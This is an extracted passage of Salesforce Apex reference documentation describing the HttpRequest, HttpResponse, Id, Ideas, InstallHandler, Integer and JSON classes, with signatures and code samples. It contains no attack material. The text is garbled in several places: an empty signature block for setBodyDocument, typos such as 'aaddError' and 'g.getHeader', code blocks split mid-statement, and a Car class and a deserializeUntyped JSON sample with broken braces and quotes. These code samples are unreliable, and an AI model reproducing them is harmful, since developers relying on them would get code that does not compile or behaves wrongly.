Sets the contents of the body for this request using a Blob.

setBodyDocument(document)  
Sets the contents of the body for this request. The contents represent a DOM document.

setClientCertificate(clientCert, password)  
This method is deprecated. Use setClientCertificateName instead.

setClientCertificateName(certDevName)  
If the external service requires a client certificate for authentication, set the certificate name.

setCompressed(flag)  
If true, the data in the body is delivered to the endpoint in the gzip compressed format. If false, no compression format is used.

setEndpoint(endpoint)  
Specifies the endpoint for this request.

setHeader(key, value)  
Sets the contents of the request header.

setMethod(method)  
Sets the type of method to be used for the HTTP request.

setTimeout(timeout)  
Sets a timeout for the request between 1 and 120,000 milliseconds. The timeout is the maximum time to wait for establishing the HTTP connection. The same timeout is used for waiting for the request to start. When the request is executing, such as retrieving or posting data, the connection is kept alive until the request finishes.

toString()  
Returns a string containing the URL for the endpoint of the external server for this request and the method used, for example, Endpoint=http://YourServer, Method=POST

getBody()  
Retrieves the body of this request.

Signature

public String getBody()
Return Value
Type: String

**getBodyAsBlob()**
Retrieves the body of this request as a Blob.

Signature
```java
public Blob getBodyAsBlob()
```

Return Value
Type: Blob

**getBodyDocument()**
Retrieves the body of this request as a DOM document.

Signature
```java
public Dom.Document getBodyDocument()
```

Example
Use this method as a shortcut for:
```java
String xml = httpRequest.getBody();
Dom.Document domDoc = new Dom.Document(xml);
```

**getCompressed()**
If true, the request body is compressed, false otherwise.

Signature
```java
public Boolean getCompressed()
```

Return Value
Type: Boolean

**getEndpoint()**
Retrieves the URL for the endpoint of the external server for this request.
public String getEndpoint()

Return Value
Type: String

**getHeader(key)**
Retrieves the contents of the request header.

Signature
public String getHeader(String key)

Parameters
key
Type: String

Return Value
Type: String

**getMethod()**
Returns the type of method used by HttpRequest.

Signature
public String getMethod()

Return Value
Type: String

Usage
Examples of return values:
- DELETE
- GET
- HEAD
- PATCH
- POST
- PUT
- TRACE
**setBody (body)**
Sets the contents of the body for this request.

Signature

```java
public Void setBody(String body)
```

Parameters

*body*
  
  Type: String

Return Value

Type: Void

Usage

Limit: 6 MB for synchronous Apex or 12 MB for asynchronous Apex.
The HTTP request and response sizes count towards the total heap size.

**setBodyAsBlob (body)**
Sets the contents of the body for this request using a Blob.

Signature

```java
public Void setBodyAsBlob(Blob body)
```

Parameters

*body*
  
  Type: Blob

Return Value

Type: Void

Usage

Limit: 6 MB for synchronous Apex or 12 MB for asynchronous Apex.
The HTTP request and response sizes count towards the total heap size.

**setBodyDocument (document)**
Sets the contents of the body for this request. The contents represent a DOM document.

Signature

```java
```
Parameters
document
  Type: Dom.Document

Return Value
Type: Void

Usage
Limit: 6 MB for synchronous Apex or 12 MB for asynchronous Apex.

`setClientCertificate(clientCert, password)`
This method is deprecated. Use `setClientCertificateName` instead.

Signature
`public Void setClientCertificate(String clientCert, String password)`

Parameters
clientCert
  Type: String
password
  Type: String

Return Value
Type: Void

Usage
If the server requires a client certificate for authentication, set the client certificate PKCS12 key store and password.

`setClientCertificateName(certDevName)`
If the external service requires a client certificate for authentication, set the certificate name.

Signature
`public Void setClientCertificateName(String certDevName)`

Parameters
certDevName
  Type: String
Return Value
Type: Void

Usage
See Using Certificates with HTTP Requests.

**setCompressed(flag)**
If `true`, the data in the body is delivered to the endpoint in the gzip compressed format. If `false`, no compression format is used.

Signature
```java
public Void setCompressed(Boolean flag)
```

Parameters
- `flag`
  Type: `Boolean`

Return Value
Type: Void

**setEndpoint(endpoint)**
Specifies the endpoint for this request.

Signature
```java
public Void setEndpoint(String endpoint)
```

Parameters
- `endpoint`
  Type: `String`
  Possible values for the endpoint:
  - Endpoint URL
    ```
    https://my_endpoint.example.com/some_path
    ```
  - Named credential URL, which contains the scheme `callout`, the name of the named credential, and, optionally, an appended path
    ```
    callout:My_Named_Credential/some_path
    ```
Return Value
Type: Void

SEE ALSO:
    Named Credentials as Callout Endpoints

**setHeader(key, value)**
Sets the contents of the request header.

Signature

```java
public Void setHeader(String key, String value)
```

Parameters

- **key**
  Type: String
- **value**
  Type: String

Return Value
Type: Void

Usage
Limit 100 KB.

**setMethod(method)**
Sets the type of method to be used for the HTTP request.

Signature

```java
public Void setMethod(String method)
```

Parameters

- **method**
  Type: String
    Possible values for the method type include:
    - DELETE
    - GET
    - HEAD
    - PATCH
    - POST
PUT
• TRACE

Return Value
Type: Void

Usage
You can also use this method to set any required options.

setTimeout(timeout)
Sets a timeout for the request between 1 and 120,000 milliseconds. The timeout is the maximum time to wait for establishing the HTTP connection. The same timeout is used for waiting for the request to start. When the request is executing, such as retrieving or posting data, the connection is kept alive until the request finishes.

Signature
public Void setTimeout(Integer timeout)

Parameters
timeout
Type: Integer

Return Value
Type: Void

toString()
Returns a string containing the URL for the endpoint of the external server for this request and the method used, for example, Endpoint=http://YourServer, Method=POST

Signature
public String toString()

HttpResponse Class
Use the HttpResponse class to handle the HTTP response returned by the Http class.

Namespace
System
Usage

Use the XML classes or JSON Classes to parse XML or JSON content in the body of a response accessed by HttpResponse.

Example

In the following getXmlStreamReader example, content is retrieved from an external Web server, then the XML is parsed using the XmlStreamReader class.

```java
public class ReaderFromCalloutSample {

    public void getAndParse() {

        // Get the XML document from the external server
        Http http = new Http();
        HttpRequest req = new HttpRequest();
        req.setEndpoint('https://docsample.herokuapp.com/xmlSample');
        req.setMethod('GET');
        HttpResponse res = http.send(req);

        // Log the XML content
        System.debug(res.getBody());

        // Generate the HTTP response as an XML stream
        XmlStreamReader reader = res.getXmlStreamReader();

        // Read through the XML
        while(reader.hasNext()) {
            System.debug('Event Type:' + reader.getEventType());
            if (reader.getEventType() == XmlTag.START_ELEMENT) {
                System.debug(reader.getLocalName());
            }
            reader.next();
        }
    }
}
```

SEE ALSO:

- JSON Support
- XML Support

HttpResponse Methods

The following are methods for HttpResponse. All are instance methods.

IN THIS SECTION:

getBody()
Retrieves the body returned in the response.

getBodyAsBlob()
Retrieves the body returned in the response as a Blob.
getBodyDocument()
Retrieves the body returned in the response as a DOM document.

getHeader(key)
Retrieves the contents of the response header.

getHeaderKeys()
Retrieves an array of header keys returned in the response.

getStatus()
Retrieves the status message returned for the response.

getStatusCode()
Retrieves the value of the status code returned in the response.

getXmlStreamReader()
Returns an XmlStreamReader that parses the body of the callout response.

setBody(body)
Specifies the body returned in the response.

setBodyAsBlob(body)
Specifies the body returned in the response using a Blob.

setHeader(key, value)
Specifies the contents of the response header.

setStatus(status)
Specifies the status message returned in the response.

setStatusCode(statusCode)
Specifies the value of the status code returned in the response.

toString()
Returns the status message and status code returned in the response, for example:

**getBody()**
Retrieves the body returned in the response.

**Signature**

```java
public String getBody()
```

**Return Value**

**Type:** String

**Usage**

Limit 6 MB for synchronous Apex or 12 MB for asynchronous Apex. The HTTP request and response sizes count towards the total heap size.

**getBodyAsBlob()**
Retrieves the body returned in the response as a Blob.
Signature

public Blob getBodyAsBlob()

Return Value
Type: Blob

Usage
Limit 6 MB for synchronous Apex or 12 MB for asynchronous Apex. The HTTP request and response sizes count towards the total heap size.

getBodyDocument()
Retrieves the body returned in the response as a DOM document.

Signature

public Dom.Document getBodyDocument()

Return Value
Type: Dom.Document

Example
Use it as a shortcut for:

String xml = httpResponse.getBody();
Dom.Document domDoc = new Dom.Document(xml);

g.getHeader(key)
Retrieves the contents of the response header.

Signature

public String getHeader(String key)

Parameters
key
Type: String

Return Value
Type: String

getHeaderKeys()
Retrieves an array of header keys returned in the response.
Signature

public String[] getHeaderKeys()

Return Value
Type: String[]

getStatus()
Retrieves the status message returned for the response.

Signature

public String getStatus()

Return Value
Type: String

getStatusCode()
Retrieves the value of the status code returned in the response.

Signature

public Integer getStatusCode()

Return Value
Type: Integer

getXmlStreamReader()
Returns an XmlStreamReader that parses the body of the callout response.

Signature

public XmlStreamReader getXmlStreamReader()

Return Value
Type: System.XmlStreamReader

Usage
Use it as a shortcut for:

```
String xml = httpResponse.getBody();
XmlStreamReader xsr = new XmlStreamReader(xml);
```
**setBody (body)**
Specifies the body returned in the response.

Signature

```
public Void setBody(String body)
```

Parameters

- **body**
  Type: String

Return Value

Type: Void

**setBodyAsBlob (body)**
Specifies the body returned in the response using a Blob.

Signature

```
public Void setBodyAsBlob(Blob body)
```

Parameters

- **body**
  Type: Blob

Return Value

Type: Void

**setHeader(key, value)**
Specifies the contents of the response header.

Signature

```
public Void setHeader(String key, String value)
```

Parameters

- **key**
  Type: String

- **value**
  Type: String
Return Value
Type: Void

`setStatus(status)`
Specifications the status message returned in the response.

Signature
`public Void setStatus(String status)`

Parameters
`status`
Type: `String`

Return Value
Type: Void

`setStatusCode(statusCode)`
Specifies the value of the status code returned in the response.

Signature
`public Void setStatusCode(Integer statusCode)`

Parameters
`statusCode`
Type: `Integer`

Return Value
Type: Void

`toString()`
Returns the status message and status code returned in the response, for example:

Signature
`public String toString()`

Return Value
Type: `String`
**Example**

Status=OK, StatusCode=200

**Id Class**
Contains methods for the ID primitive data type.

**Namespace**
System

**Example: Getting an sObject Token From an ID**

This sample shows how to use the `getSObjectType` method to obtain an sObject token from an ID. The `updateOwner` method in this sample accepts a list of IDs of the sObjects to update the ownerId field of. This list contains IDs of sObjects of the same type. The second parameter is the new owner ID. Note that since it is a future method, it doesn’t accept sObject types as parameters; this is why it accepts IDs of sObjects. This method gets the sObject token from the first ID in the list, then does a describe to obtain the object name and constructs a query dynamically. It then queries for all sObjects and updates their owner ID fields to the new owner ID.

```java
public class MyDynamicSolution {
    @future
    public static void updateOwner(List<ID> objIds, ID newOwnerId) {
        // Validate input
        System.assert(objIds != null);
        System.assert(objIds.size() > 0);
        System.assert(newOwnerId != null);

        // Get the sObject token from the first ID
        // (the List contains IDs of sObjects of the same type).
        Schema.SObjectType token = objIds[0].getSObjectType();

        // Using the token, do a describe
        // and construct a query dynamically.
        Schema.DescribeSObjectResult dr = token.getDescribe();
        String queryString = 'SELECT ownerId FROM ' + dr.getName() + '
        WHERE ';
        for(ID objId : objIds) {
            queryString += 'Id=' + objId + '
            OR ';
        }
        // Remove the last ' OR'
        queryString = queryString.substring(0, queryString.length() - 4);
        sObject[] objDBList = Database.query(queryString);
        System.assert(objDBList.size() > 0);

        // Update the owner ID on the sObjects
        for(Integer i=0;i<objDBList.size();i++) {
            objDBList[i].put('ownerId', newOwnerId);
        }
        Database.SaveResult[] srList = Database.update(objDBList, false);
        for(Database.SaveResult sr : srList) {
            if (sr.isSuccess()) {
```
System.debug('Updated owner ID successfully for ' +
  dr.getName() + ' ID ' + sr.getId());
}
else {
  System.debug('Updating ' + dr.getName() + ' returned the following errors. ');
  for(Database.Error e : sr.getErrors()) {
    System.debug(e.getMessage());
  }
}

### Id Methods

The following are methods for `Id`.

**IN THIS SECTION:**

- `addError(errorMsg)`
  Marks a trigger record with a custom error message and prevents any DML operation from occurring.
- `addError(errorMsg, escape)`
  Marks a trigger record with a custom error message, specifies if the error message should be escaped, and prevents any DML operation from occurring.
- `addError(exceptionError)`
  Marks a trigger record with a custom error message and prevents any DML operation from occurring.
- `addError(exceptionError, escape)`
  Marks a trigger record with a custom error message and prevents any DML operation from occurring.
- `getSObjectType()`
  Returns the token for the sObject corresponding to this ID. This method is primarily used with describe information.
- `to15(Id)`
  Converts an 18-character Id value to a 15-character case-sensitive string.
- `valueOf(toID)`
  Converts the specified String into an ID and returns the ID.

#### `addError(errorMsg)`
Marks a trigger record with a custom error message and prevents any DML operation from occurring.

**Signature**

```java
public Void addError(String errorMsg)
```

**Parameters**

- `errorMsg`
  Type: `String`
The error message to mark the record with.

Return Value
Type: Void

Usage
This method is similar to the `addError(errorMsg)` sObject method.

**Note:** This method escapes any HTML markup in the specified error message. The escaped characters are: \n, <, >, &, "
, \u2028, \u2029, and \u00a9. As a result, HTML markup is not rendered; instead, it is displayed as text in the Salesforce user interface.

Example
```
Trigger.new[0].Id.addError('bad');
```

### `addError(errorMsg, escape)`
Marks a trigger record with a custom error message, specifies if the error message should be escaped, and prevents any DML operation from occurring.

**Signature**

```
public Void addError(String errorMsg, Boolean escape)
```

**Parameters**

`errorMsg`
Type: String
The error message to mark the record with.

`escape`
Type: Boolean
Indicates whether any HTML markup in the custom error message should be escaped (true) or not (false). This parameter is ignored in both Lightning Experience and the Salesforce mobile app, and the HTML is always escaped. The escape parameter only applies in Salesforce Classic.

Return Value
Type: Void

Usage
The escaped characters are: \n, <, >, &, "
, \u2028, \u2029, and \u00a9. As a result, HTML markup is not rendered; instead, it is displayed as text in the Salesforce user interface.

**Warning:** Be cautious if you specify `false` for the `escape` argument. Unescaped strings displayed in the Salesforce user interface can represent a vulnerability in the system because these strings might contain harmful code. If you want to include HTML markup in the error message, call this method with a `false escape` argument. Make sure that you escape any dynamic...
content, such as input field values. Otherwise, specify true for the escape argument or call addError(String errorMsg) instead.

Example

```
Trigger.new[0].Id.addError('Fix & resubmit', false);
```

addError(exceptionError)
Marks a trigger record with a custom error message and prevents any DML operation from occurring.

Signature

```
public Void addError(Exception exceptionError)
```

Parameters

```
exceptionError
   Type: System.Exception
```

An Exception object or a custom exception object that contains the error message to mark the record with.

Return Value

Type: Void

Usage

This method is similar to the addError(exceptionError) sObject method.

**Note:** This method escapes any HTML markup in the specified error message. The escaped characters are: \n, <, >, &", \\, \u2028, \u2029, and \u00a9. As a result, HTML markup is not rendered; instead, it is displayed as text in the Salesforce user interface.

Example

```
public class MyException extends Exception{}

Trigger.new[0].Id.addError(new MyException('Invalid Id'));
```

addError(exceptionError, escape)
Marks a trigger record with a custom error message and prevents any DML operation from occurring.

Signature

```
public Void addError(Exception exceptionError, Boolean escape)
```
Parameters

`exceptionError`
Type: `System.Exception`
An Exception object or a custom exception object that contains the error message to mark the record with.

`escape`
Type: `Boolean`
Indicates whether any HTML markup in the custom error message should be escaped (`true`) or not (`false`). This parameter is ignored in both Lightning Experience and the Salesforce mobile app, and the HTML is always escaped. The escape parameter only applies in Salesforce Classic.

Return Value
Type: `Void`

Usage

The escaped characters are: \n, <, >, &,, \, \u2028, \u2029, and \u00a9. As a result, HTML markup is not rendered; instead, it is displayed as text in the Salesforce user interface.

⚠️ **Warning:** Be cautious if you specify `false` for the `escape` argument. Unescaped strings displayed in the Salesforce user interface can represent a vulnerability in the system because these strings might contain harmful code. If you want to include HTML markup in the error message, call this method with a `false` `escape` argument. Make sure that you escape any dynamic content, such as input field values. Otherwise, specify `true` for the `escape` argument or call `addError(Exception e)` instead.

Example

```java
public class MyException extends Exception{}

account a = new account();
aaddError(new MyException('Invalid Id & other issues'), false);
```

`getSObjectType()`

Returns the token for the sObject corresponding to this ID. This method is primarily used with describe information.

Signature

`public Schema.SObjectType getSObjectType()`

Return Value

Type: `Schema.SObjectType`

Usage

For more information about describes, see Understanding Apex Describe Information.
account a = new account(name = 'account');
insert a;
Id myId = a.id;
system.assertEquals(Schema.Account.SObjectType, myId.getSObjectType());

to15(Id)
Converts an 18-character Id value to a 15-character case-sensitive string.

Signature
public static string to15()

Return Value
Type: String

Example
String Id_15_char = '0D5B000001DVM9t';
String Id_18_char = '0D5B000001DVM9tkAh';
ID testId = Id_18_char;
System.assertEquals(testId.to15(), Id_15_char);

valueOf(toID)
Converts the specified String into an ID and returns the ID.

Signature
public static ID valueOf(String toID)

Parameters
toID
Type: String

Return Value
Type: ID

Example
Id myId = Id.valueOf('001xa000003DiLo');

Ideas Class
Represents zone ideas.
Namespace

System

Usage

Ideas is a zone of users who post, vote for, and comment on ideas. An Ideas zone provides an online, transparent way for you to attract, manage, and showcase innovation.

A set of recent replies (returned by methods, see below) includes ideas that a user posted or commented on that already have comments posted by another user. The returned ideas are listed based on the time of the last comment made by another user, with the most recent ideas appearing first.

The userID argument is a required argument that filters the results so only the ideas that the specified user has posted or commented on are returned.

The communityID argument filters the results so only the ideas within the specified zone are returned. If this argument is the empty string, then all recent replies for the specified user are returned regardless of the zone.

For more information on ideas, see “Using Ideas” in the Salesforce online help.

Example

The following example finds ideas in a specific zone that have similar titles as a new idea:

```java
public class FindSimilarIdeasController {
    public static void test() {
        // Instantiate a new idea
        Idea idea = new Idea();

        // Specify a title for the new idea
        idea.Title = 'Increase Vacation Time for Employees';

        // Specify the communityID (INTERNAL_IDEAS) in which to find similar ideas.
        Community community = [ SELECT Id FROM Community WHERE Name = 'INTERNAL_IDEAS' ];

        idea.CommunityId = community.Id;

        ID[] results = Ideas.findSimilar(idea);
    }
}
```

The following example uses a Visualforce page in conjunction with a custom controller, that is, a special Apex class. For more information on Visualforce, see the Visualforce Developer’s Guide.

This example creates an Apex method in the controller that returns unread recent replies. You can leverage this same example for the getAllRecentReplies and getReadRecentReplies methods. For this example to work, there must be ideas posted to the zone. In addition, at least one zone member must have posted a comment to another zone member’s idea or comment.

```java
// Create an Apex method to retrieve the recent replies marked as unread in all communities
public class IdeasController {
    public Idea[] getUnreadRecentReplies() {
        Idea[] recentReplies;
        if (recentReplies == null) {
```
Id[] recentRepliesIds = Ideas.getUnreadRecentReplies(UserInfo.getUserId(), '');
recentReplies = [SELECT Id, Title FROM Idea WHERE Id IN :recentRepliesIds];
return recentReplies;

The following is the markup for a Visualforce page that uses the above custom controller to list unread recent replies.

<apex:page controller="IdeasController" showHeader="false">
    <apex:dataList value="{!unreadRecentReplies}" var="recentReplyIdea">
        <a href="/apex/viewIdea?id={!recentReplyIdea.Id}"
            <apex:outputText value="{!recentReplyIdea.Title}" escape="true"/>
    </apex:dataList>
</apex:page>

The following example uses a Visualforce page in conjunction with a custom controller to list ideas. Then, a second Visualforce page and custom controller is used to display a specific idea and mark it as read. For this example to work, there must be ideas posted to the zone.

// Create a controller to use on a VisualForce page to list ideas
public class IdeaListController {

    public final Idea[] ideas {get; private set;}

    public IdeaListController() {
        Integer i = 0;
        ideas = new Idea[10];
        for (Idea tmp : Database.query('SELECT Id, Title FROM Idea WHERE Id != null AND parentIdeaId = null LIMIT 10')) {
            i++;
            ideas.add(tmp);
        }
    }
}

The following is the markup for a Visualforce page that uses the above custom controller to list ideas:

<apex:page controller="IdeaListController" tabStyle="Idea" showHeader="false">
    <apex:dataList value="{!ideas}" var="idea" id="ideaList">
        <a href="/apex/viewIdea?id={!idea.id}"
            <apex:outputText value="{!idea.title}" escape="true"/>
    </apex:dataList>
</apex:page>

The following example also uses a Visualforce page and custom controller, this time, to display the idea that is selected on the above idea list page. In this example, the markRead method marks the selected idea and associated comments as read by the user that is currently logged in. Note that the markRead method is in the constructor so that the idea is marked read immediately when the user
goes to a page that uses this controller. For this example to work, there must be ideas posted to the zone. In addition, at least one zone member must have posted a comment to another zone member’s idea or comment.

```apex
// Create an Apex method in the controller that marks all comments as read for the selected idea
public class ViewIdeaController {

    private final String id = System.currentPage().getParameters().get('id');

    public ViewIdeaController(ApexPages.StandardController controller) {
        Ideas.markRead(id);
    }
}
```

The following is the markup for a Visualforce page that uses the above custom controller to display the idea as read.

```html
<apex:page standardController="Idea" extensions="ViewIdeaController" showHeader="false">
    <h2><apex:outputText value="{!idea.title}" /></h2>
    <apex:outputText value="{!idea.body}" />
</apex:page>
```

### Ideas Methods

The following are methods for `Ideas`. All methods are static.

**IN THIS SECTION:**

- `findSimilar(idea)`
  - Returns a list of similar ideas based on the title of the specified idea.
- `getAllRecentReplies(userID, communityID)`
  - Returns ideas that have recent replies for the specified user or zone. This includes all read and unread replies.
- `getReadRecentReplies(userID, communityID)`
  - Returns ideas that have recent replies marked as read.
- `getUnreadRecentReplies(userID, communityID)`
  - Returns ideas that have recent replies marked as unread.
- `markRead(ideaID)`
  - Marks all comments as read for the user that is currently logged in.

**findSimilar(idea)**

Returns a list of similar ideas based on the title of the specified idea.

**Signature**

```apex
public static ID[] findSimilar(Idea idea)
```
Parameters

*idea*
  Type: Idea

Return Value
Type: ID[]

Usage
Each `findSimilar` call counts against the SOSL query limits. See Execution Governors and Limits.

**getAllRecentReplies(userID, communityID)**

Returns ideas that have recent replies for the specified user or zone. This includes all read and unread replies.

Signature

```java
public static ID[] getAllRecentReplies(String userID, String communityID)
```

Parameters

*userID*
  Type: String

*communityID*
  Type: String

Return Value
Type: ID[]

Usage
Each `getAllRecentReplies` call counts against the SOQL query limits. See Execution Governors and Limits.

**getReadRecentReplies(userID, communityID)**

Returns ideas that have recent replies marked as read.

Signature

```java
public static ID[] getReadRecentReplies(String userID, String communityID)
```

Parameters

*userID*
  Type: String

*communityID*
  Type: String
Return Value
Type: ID[]

Usage
Each getReadRecentReplies call counts against the SOQL query limits. See Execution Governors and Limits.

getUnreadRecentReplies(userID, communityID)
Returns ideas that have recent replies marked as unread.

Signature
public static ID[] getUnreadRecentReplies(String userID, String communityID)

Parameters
userID
Type: String
communityID
Type: String

Return Value
Type: ID[]

Usage
Each getUnreadRecentReplies call counts against the SOQL query limits. See Execution Governors and Limits.

markRead(ideaID)
Marks all comments as read for the user that is currently logged in.

Signature
public static Void markRead(String ideaID)

Parameters
ideaID
Type: String

Return Value
Type: Void

InstallHandler Interface
Enables custom code to run after a managed package installation or upgrade.
Namespace

System

Usage

App developers can implement this interface to specify Apex code that runs automatically after a subscriber installs or upgrades a managed package. This makes it possible to customize the package install or upgrade, based on details of the subscriber's organization. For instance, you can use the script to populate custom settings, create sample data, send an email to the installer, notify an external system, or kick off a batch operation to populate a new field across a large set of data.

The post install script is invoked after tests have been run, and is subject to default governor limits. It runs as a special system user that represents your package, so all operations performed by the script appear to be done by your package. You can access this user by using UserInfo. You will only see this user at runtime, not while running tests.

If the script fails, the install/upgrade is aborted. Any errors in the script are emailed to the user specified in the Notify on Apex Error field of the package. If no user is specified, the install/upgrade details will be unavailable.

The post install script has the following additional properties.

• It can initiate batch, scheduled, and future jobs.
• It can't access Session IDs.
• It can only perform callouts using an async operation. The callout occurs after the script is run and the install is complete and committed.
• It can't call another Apex class in the package if that Apex class uses the with sharing keyword. This keyword can prevent the package from successfully installing. See the Apex Developer Guide to learn more.

The InstallHandler interface has a single method called onInstall, which specifies the actions to be performed on install/upgrade.

```java
global interface InstallHandler {
    void onInstall(InstallContext context);
}
```

The onInstall method takes a context object as its argument, which provides the following information.

• The org ID of the organization in which the installation takes place.
• The user ID of the user who initiated the installation.
• The version number of the previously installed package (specified using the Version class). This is always a three-part number, such as 1.2.0.
• Whether the installation is an upgrade.
• Whether the installation is a push.

The context argument is an object whose type is the InstallContext interface. This interface is automatically implemented by the system. The following definition of the InstallContext interface shows the methods you can call on the context argument.

```java
global interface InstallContext {
    ID organizationId();
    ID installerId();
    Boolean isUpgrade();
    Boolean isPush();
    Version previousVersion();
}
```
IN THIS SECTION:
  InstallHandler Methods
  InstallHandler Example Implementation

InstallHandler Methods

The following are methods for InstallHandler.

IN THIS SECTION:
  onInstall(context)
  Specifies the actions to be performed on install/upgrade.

**onInstall(context)**

Specifies the actions to be performed on install/upgrade.

Signature

```java
public Void onInstall(InstallContext context)
```

Parameters

`context`

Type: System.InstallContext

Return Value

Type: Void

InstallHandler Example Implementation

The following sample post install script performs these actions on package install/upgrade.

- If the previous version is null, that is, the package is being installed for the first time, the script:
  - Creates a new Account called “Newco” and verifies that it was created.
  - Creates a new instance of the custom object Survey, called “Client Satisfaction Survey”.
  - Sends an email message to the subscriber confirming installation of the package.

- If the previous version is 1.0, the script creates a new instance of Survey called “Upgrading from Version 1.0”.

- If the package is an upgrade, the script creates a new instance of Survey called “Sample Survey during Upgrade”.

- If the upgrade is being pushed, the script creates a new instance of Survey called “Sample Survey during Push”.

```java
global class PostInstallClass implements InstallHandler {
global void onInstall(InstallContext context) {
    if(context.previousVersion() == null) {
        Account a = new Account(name='Newco');
        insert(a);

        Survey__c obj = new Survey__c(name='Client Satisfaction Survey');
    }
    // ... other cases...
}
```
You can test a post install script using the new `testInstall` method of the `Test` class. This method takes the following arguments.

- A class that implements the `InstallHandler` interface.
- A `Version` object that specifies the version number of the existing package.
- An optional Boolean value that is `true` if the installation is a push. The default is `false`.

This sample shows how to test a post install script implemented in the `PostInstallClass` Apex class.

```apex
@isTest static void testInstallScript() {
    PostInstallClass postinstall = new PostInstallClass();
    Test.testInstall(postinstall, null);
    Test.testInstall(postinstall, new Version(1,0), true);
    List<Account> a = [Select id, name from Account where name = 'Newco'];
    System.assertEquals(a.size(), 1, 'Account not found');
}
```

### Integer Class

Contains methods for the Integer primitive data type.

### Namespace

**System**
Usage
For more information on integers, see Primitive Data Types on page 26.

Integer Methods
The following are methods for Integer.

IN THIS SECTION:

- **format()**
  - Returns the integer as a string using the locale of the context user.

- **valueOf(stringToInteger)**
  - Returns an Integer that contains the value of the specified String. As in Java, the String is interpreted as representing a signed decimal integer.

- **valueOf(fieldValue)**
  - Converts the specified object to an Integer. Use this method to convert a history tracking field value or an object that represents an Integer value.

**format()**

Returns the integer as a string using the locale of the context user.

Signature

```java
public String format()
```

Return Value

Type: String

Example

```java
integer myInt = 22;
system.assertEquals('22', myInt.format());
```

**valueOf(stringToInteger)**

Returns an Integer that contains the value of the specified String. As in Java, the String is interpreted as representing a signed decimal integer.

Signature

```java
public static Integer valueOf(String stringToInteger)
```

Parameters

- **stringToInteger**
  - Type: String
Return Value
Type: Integer

Example

```java
Integer myInt = Integer.valueOf('123');
```

**valueOf(fieldValue)**
Converts the specified object to an Integer. Use this method to convert a history tracking field value or an object that represents an Integer value.

Signature

```java
public static Integer valueOf(Object fieldValue)
```

Parameters

**fieldValue**
Type: Object

Return Value
Type: Integer

Usage
Use this method with the OldValue or NewValue fields of history sObjects, such as AccountHistory, when the field type corresponds to an Integer type, like a number field.

Example:

```java
List<AccountHistory> ahlist =
[SELECT Field,OldValue,NewValue
 FROM AccountHistory];
for(AccountHistory ah : ahlist) {
 System.debug('Field: ' + ah.Field);
 if (ah.field == 'NumberOfEmployees') {
  Integer oldValue =
  Integer.valueOf(ah.OldValue);
  Integer newValue =
  Integer.valueOf(ah.NewValue);
 }
}
```

**JSON Class**
Contains methods for serializing Apex objects into JSON format and deserializing JSON content that was serialized using the `serialize` method in this class.
Namespace

System

Usage

Use the methods in the System.JSON class to perform round-trip JSON serialization and deserialization of Apex objects.

SEE ALSO:
Roundtrip Serialization and Deserialization

JSON Methods

The following are methods for JSON. All methods are static.

IN THIS SECTION:

createGenerator(prettyPrint)
Returns a new JSON generator.

createParser(jsonString)
Returns a new JSON parser.

deserialize(jsonString, apexType)
Deserializes the specified JSON string into an Apex object of the specified type.

deserializeStrict(jsonString, apexType)
Deserializes the specified JSON string into an Apex object of the specified type.

deserializeUntyped(jsonString)
Deserializes the specified JSON string into collections of primitive data types.

serialize(objectToSerialize)
Serializes Apex objects into JSON content.

serialize(objectToSerialize, suppressApexObjectNulls)
Suppresses null values when serializing Apex objects into JSON content.

serializePretty(objectToSerialize)
Serializes Apex objects into JSON content and generates indented content using the pretty-print format.

serializePretty(objectToSerialize, suppressApexObjectNulls)
Suppresses null values when serializing Apex objects into JSON content and generates indented content using the pretty-print format.

createGenerator(prettyPrint)

Returns a new JSON generator.

Signature

public static System.JSONGenerator createGenerator(Boolean prettyPrint)
Parameters

**prettyPrint**

Type: Boolean

Determines whether the JSON generator creates JSON content in pretty-print format with the content indented. Set to `true` to create indented content.

Return Value

Type: System.JSONGenerator

**createParser(jsonString)**

Returns a new JSON parser.

Signature

```java
public static System.JSONParser createParser(String jsonString)
```

Parameters

**jsonString**

Type: String

The JSON content to parse.

Return Value

Type: System.JSONParser

**deserialize(jsonString, apexType)**

Deserializes the specified JSON string into an Apex object of the specified type.

Signature

```java
public static Object deserialize(String jsonString, System.Type apexType)
```

Parameters

**jsonString**

Type: String

The JSON content to deserialize.

**apexType**

Type: System.Type

The Apex type of the object that this method creates after deserializing the JSON content.

Return Value

Type: Object
Usage

If the JSON content contains attributes not present in the `System.Type` argument, such as a missing field or object, deserialization fails in some circumstances. When deserializing JSON content into a custom object or an sObject using Salesforce API version 34.0 or earlier, this method throws a runtime exception when passed extraneous attributes. When deserializing JSON content into an Apex class in any API version, or into an object in API version 35.0 or later, no exception is thrown. When no exception is thrown, this method ignores extraneous attributes and parses the rest of the JSON content.

Example

The following example deserializes a `Decimal` value.

```java
Decimal n = (Decimal)JSON.deserialize(
    '100.1', Decimal.class);
System.assertEquals(n, 100.1);
```

`deserializeStrict(jsonString, apexType)`

Deserializes the specified JSON string into an Apex object of the specified type.

Signature

```java
public static Object deserializeStrict(String jsonString, System.Type apexType)
```

Parameters

`jsonString`

Type: String

The JSON content to deserialize.

`apexType`

Type: System.Type

The Apex type of the object that this method creates after deserializing the JSON content.

Return Value

Type: Object

Usage

All attributes in the JSON string must be present in the specified type. If the JSON content contains attributes not present in the `System.Type` argument, such as a missing field or object, deserialization fails in some circumstances. When deserializing JSON content with extraneous attributes into an Apex class, this method throws an exception in all API versions. However, no exception is thrown when you use this method to deserialize JSON content into a custom object or an sObject.

Example

The following example deserializes a JSON string into an object of a user-defined type represented by the `Car` class, which this example also defines.

```java
public class Car {
    public String make;
}
public String year;
}

public void parse() {
    Car c = (Car)JSON.deserializeStrict(
        '{"make":"SFDC","year":"2020"}',
        Car.class);
    System.assertEquals(c.make, 'SFDC');
    System.assertEquals(c.year, '2020');
}

deserializeUntyped(jsonString)
Deserializes the specified JSON string into collections of primitive data types.

Signature
public static Object deserializeUntyped(String jsonString)

Parameters
jsonString
    Type: String
    The JSON content to deserialize.

Return Value
Type: Object

Example
The following example deserializes a JSON representation of an appliance object into a map that contains primitive data types and
further collections of primitive types. It then verifies the deserialized values.

String jsonInput = '{
    "description" : "An appliance",
    "accessories" : [ "powerCord" , 
        '{ "right" : "door handle1" , 
            "left" : "door handle2" }
    ],
    "dimensions" : 
        '{ "height" : 5.5 , 
            "width" : 3.0 , 
            "depth" : 2.2 }
    ,
    "type" : null,
    "inventory" : 2000,
    "price" : 1023.45,
    "isShipped" : true,
    "modelNumber" : "123"
}';

Map<String, Object> m =
    (Map<String, Object>)}
JSON.deserializeUntyped(jsonInput);

System.assertEquals('An appliance', m.get('description'));

